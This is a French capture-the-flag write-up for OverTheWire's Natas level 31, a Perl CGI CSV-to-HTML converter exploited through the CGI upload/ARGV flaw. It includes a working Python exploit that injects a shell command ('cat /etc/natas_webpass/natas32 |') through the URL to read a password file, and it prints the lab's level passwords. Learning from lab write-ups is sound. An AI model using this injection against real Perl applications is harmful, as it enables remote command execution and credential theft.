Niveau 31

Natas 31

Level Goal

Username: natas31
Password: hay7aecuungiuKaezuathuk9biin0pu1
URL: http://natas31.natas.labs.overthewire.org

En se connectant à la page du challenge 31 on arrive sur un formulaire de conversion de CSV vers HTML. Le code source, en PERL, est le suivant (édité pour plus de clarté) :

#!/usr/bin/perl
use CGI;
$ENV{'TMPDIR'}="WWWDIR/tmp/";

# print HTML [...]

my $cgi = CGI->new;
if ($cgi->upload('file')) {
    my $file = $cgi->param('file');
    print '<table class="sortable table table-hover table-striped">';
    $i=0;
    while (<$file>) {
        my @elements=split /,/, $_;

        if($i==0){ # header
            print "<tr>";
            foreach(@elements){
                print "<th>".$cgi->escapeHTML($_)."</th>";   
            }
            print "</tr>";
        }
        else{ # table content
            print "<tr>";
            foreach(@elements){
                print "<td>".$cgi->escapeHTML($_)."</td>";   
            }
            print "</tr>";
        }
        $i+=1;
    }
    print '</table>';
}
else{
  # print HTML [...]
}

# print HTML [...]

La faille de sécurité a été présentée lors de la seconde PERL Jam (diapositive 24) et est intitulée sobrement "Print uploaded file Content".

Un exemple de code exploitable est le suivant :

use strict;
use warnings;
use CGI;

my $cgi = CGI->new;

if ( $cgi->upload( 'file' ) ) {
    my $file = $cgi->param( 'file' );
    while ( <$file> ) {
        print "$_";
    }
}

La faille réside au niveau de la ligne if ( $cgi->upload( 'file' ) ) ) { : la fonction upload() vérifie qu'au moins un des éléments du paramètre file est bien un fichier. Si c'est le cas, les autres éléments seront convertis automatiquement vers le type string. La boucle while ( <$file> ) va quant à elle ouvrir l'ensemble des fichiers présents dans la variable $file.

Il est possible d'exploiter ces différents comportements en modifiant l'url vers laquelle on envoi la requête POST. Si l'on upload un fichier vers l'url suivante, on exécutera la commande ipconfig:

http://natas31.natas.labs.overthewire.org/index.pl?ipconfig|

Utilisons Python pour requêter le fichier contenant le mot de passe :

import requests

session = requests.Session()
response = session.post(
    "http://natas31.natas.labs.overthewire.org/?cat /etc/natas_webpass/natas32 |",
    files={'file': ''},
    data={"file": "ARGV"},
    auth=requests.auth.HTTPBasicAuth("natas31", "hay7aecuungiuKaezuathuk9biin0pu1"),
)
print(response.text)

Le paramètre file: ARGV est nécessaire à l'exécution de l'exploit en plus du fait d'envoyer un fichier - ici vide - via files

On obtient ainsi le mot de passe du prochain niveau : no1vohsheCaiv3ieH4em1ahchisainge.